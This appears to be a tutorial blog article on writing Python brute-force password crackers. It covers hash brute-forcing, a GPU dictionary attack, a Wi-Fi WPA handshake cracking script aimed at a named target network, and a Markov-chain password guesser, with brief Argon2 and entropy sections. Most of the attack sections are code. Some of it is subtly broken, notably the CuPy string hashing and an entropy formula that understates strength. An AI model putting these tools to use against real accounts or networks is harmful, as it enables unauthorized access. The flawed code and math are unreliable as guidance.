Crafting a Brute Force Password Cracker

⚠️
This article is for educational purposes only. Unauthorized attempts to access computer systems or crack passwords are illegal and unethical. Always obtain proper authorization before testing security measures. The techniques described here should only be used in controlled, authorized environments for legitimate security testing and research.

Introduction

Brute force attacks remain one of the most straightforward methods of attempting unauthorized access to systems. While often inefficient, understanding these attacks is crucial for cybersecurity professionals. This article explores modern approaches to crafting a brute force password cracker using Python, with extensive code examples, use cases, and real-life scenarios.

Understanding Brute Force Attacks

A brute force attack systematically checks all possible passwords until the correct one is found. While time-consuming, it’s guaranteed to find the password eventually if no other security measures are in place.

graph TD
    A[Start] --> B[Generate Password]
    B --> C{Match?}
    C -->|Yes| D[Success]
    C -->|No| E{Max Attempts?}
    E -->|No| B
    E -->|Yes| F[Fail]
    D --> G[Log Success]
    F --> H[Log Failure]
    G --> I[End]
    H --> I

Modern Python Implementation

Let’s start with a more efficient implementation of a brute force password cracker using modern Python features and hardware acceleration:

modern_brute_force.py
import itertools
import string
import hashlib
from concurrent.futures import ProcessPoolExecutor
import numpy as np

def generate_passwords(chars, length):
    return (''.join(guess) for guess in itertools.product(chars, repeat=length))

def check_password(guess, target_hash):
    return hashlib.sha256(guess.encode()).hexdigest() == target_hash

def brute_force(target_hash, max_length, chars=string.ascii_lowercase + string.digits):
    with ProcessPoolExecutor() as executor:
        for length in range(1, max_length + 1):
            chunks = np.array_split(list(generate_passwords(chars, length)), executor._max_workers)
            futures = [executor.submit(np.vectorize(check_password), chunk, target_hash) for chunk in chunks]
            if any(future.result().any() for future in futures):
                return next(guess for guess in generate_passwords(chars, length) if check_password(guess, target_hash))
    return None

# Example usage
password = "abc123"
target_hash = hashlib.sha256(password.encode()).hexdigest()
max_length = 6

result = brute_force(target_hash, max_length)
print(f"Password found: {result}" if result else "Password not found")

This implementation uses multiprocessing and NumPy for improved performance.

Dictionary Attack with CUDA Acceleration

For a more efficient approach, we can use a dictionary attack with CUDA acceleration:

cuda_dictionary_attack.py
import numpy as np
import cupy as cp
import hashlib

def cuda_dictionary_attack(target_hash, dictionary_file):
    with open(dictionary_file, 'r') as f:
        words = [line.strip() for line in f]

    words_array = cp.array(words)
    target_hash_array = cp.array([target_hash] * len(words))

    def hash_and_compare(word, target):
        return hashlib.sha256(word.encode()).hexdigest() == target

    result = cp.vectorize(hash_and_compare)(words_array, target_hash_array)

    match_index = cp.argmax(result)
    return words[match_index] if result[match_index] else None

# Example usage
password = "qwerty"
target_hash = hashlib.sha256(password.encode()).hexdigest()
dictionary_file = "common_passwords.txt"

result = cuda_dictionary_attack(target_hash, dictionary_file)
print(f"Password found: {result}" if result else "Password not found in dictionary")

This script uses CUDA via CuPy for GPU-accelerated password cracking.

Real-Life Example: Cracking Wi-Fi Passwords

Here’s a real-life example of using brute force techniques to crack Wi-Fi passwords (for educational purposes only):

wifi_cracker.py
from scapy.all import *
from concurrent.futures import ThreadPoolExecutor
import hashlib
import os

def capture_handshake(interface, ssid):
    # Implementation details omitted for brevity
    # This function would use Scapy to capture a WPA handshake
    pass

def crack_password(ssid, handshake, wordlist):
    with open(wordlist, 'r') as f:
        for line in f:
            password = line.strip()
            key = hashlib.pbkdf2_hmac('sha1', password.encode(), ssid.encode(), 4096, 32)
            # Check if key matches the captured handshake
            if check_handshake(handshake, key):
                return password
    return None

def check_handshake(handshake, key):
    # Implementation details omitted for brevity
    # This function would verify if the key matches the captured handshake
    pass

# Example usage
interface = "wlan0"
ssid = "TargetNetwork"
wordlist = "wifi_passwords.txt"

handshake = capture_handshake(interface, ssid)
if handshake:
    with ThreadPoolExecutor(max_workers=os.cpu_count()) as executor:
        future = executor.submit(crack_password, ssid, handshake, wordlist)
        result = future.result()
        if result:
            print(f"Wi-Fi password cracked: {result}")
        else:
            print("Password not found in wordlist")
else:
    print("Failed to capture handshake")

This example demonstrates a more complex real-world scenario of cracking Wi-Fi passwords using captured handshakes and wordlists.

Advanced Technique: Markov Chain Password Generation

Instead of using a fixed wordlist, we can generate passwords based on Markov chains for more intelligent guessing:

markov_chain_generator.py
import numpy as np
from collections import defaultdict

class MarkovChainGenerator:
    def __init__(self, order=2):
        self.order = order
        self.model = defaultdict(lambda: defaultdict(int))

    def train(self, passwords):
        for password in passwords:
            for i in range(len(password) - self.order):
                state = password[i:i+self.order]
                next_char = password[i+self.order]
                self.model[state][next_char] += 1

    def generate(self, length):
        state = np.random.choice(list(self.model.keys()))
        result = state
        for _ in range(length - self.order):
            next_char = np.random.choice(
                list(self.model[state].keys()),
                p=np.array(list(self.model[state].values())) / sum(self.model[state].values())
            )
            result += next_char
            state = result[-self.order:]
        return result

# Example usage
training_passwords = ["password123", "qwerty", "letmein", "admin123"]
generator = MarkovChainGenerator()
generator.train(training_passwords)

for _ in range(5):
    print(generator.generate(10))

This Markov chain-based password generator creates more realistic password guesses based on patterns in the training data.

Defensive Measures: Implementing Argon2 Hashing

To protect against brute force attacks, it’s crucial to use strong password hashing algorithms. Here’s an example using Argon2, one of the most secure hashing algorithms available:

argon2_hashing.py
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

def hash_password(password):
    ph = PasswordHasher()
    return ph.hash(password)

def verify_password(hashed_password, password):
    ph = PasswordHasher()
    try:
        ph.verify(hashed_password, password)
        return True
    except VerifyMismatchError:
        return False

# Example usage
password = "secure_password123"
hashed_password = hash_password(password)
print(f"Hashed password: {hashed_password}")

# Verify correct password
print(f"Correct password verification: {verify_password(hashed_password, password)}")

# Verify incorrect password
print(f"Incorrect password verification: {verify_password(hashed_password, 'wrong_password')}")

Using Argon2 significantly increases the time and computational resources required for brute force attacks.

Password Entropy Visualization

To better understand password strength, let’s create a visualization of password entropy:

entropy_visualization.py
import math
import matplotlib.pyplot as plt
import seaborn as sns

def calculate_entropy(password):
    char_set_size = len(set(password))
    entropy = len(password) * math.log2(char_set_size)
    return entropy

passwords = ["123456", "qwerty", "P@ssw0rd!", "Tr0ub4dor&3", "correcthorsebatterystaple"]
entropies = [calculate_entropy(pwd) for pwd in passwords]

plt.figure(figsize=(12, 6))
sns.barplot(x=passwords, y=entropies)
plt.title("Password Entropy Comparison")
plt.xlabel("Passwords")
plt.ylabel("Entropy (bits)")
plt.xticks(rotation=45)
plt.tight_layout()
plt.show()

This script creates a bar plot comparing the entropy of different passwords, providing a visual representation of password strength.

Conclusion

While brute force attacks can be powerful, modern security measures make them increasingly impractical. However, understanding these techniques is crucial for cybersecurity professionals to implement robust defenses. Remember to always use these methods ethically and with proper authorization.

By exploring advanced brute force techniques, we’ve gained valuable insights into an important aspect of cybersecurity. As technology evolves, so do the methods of both attackers and defenders, making continuous learning and adaptation essential in this field.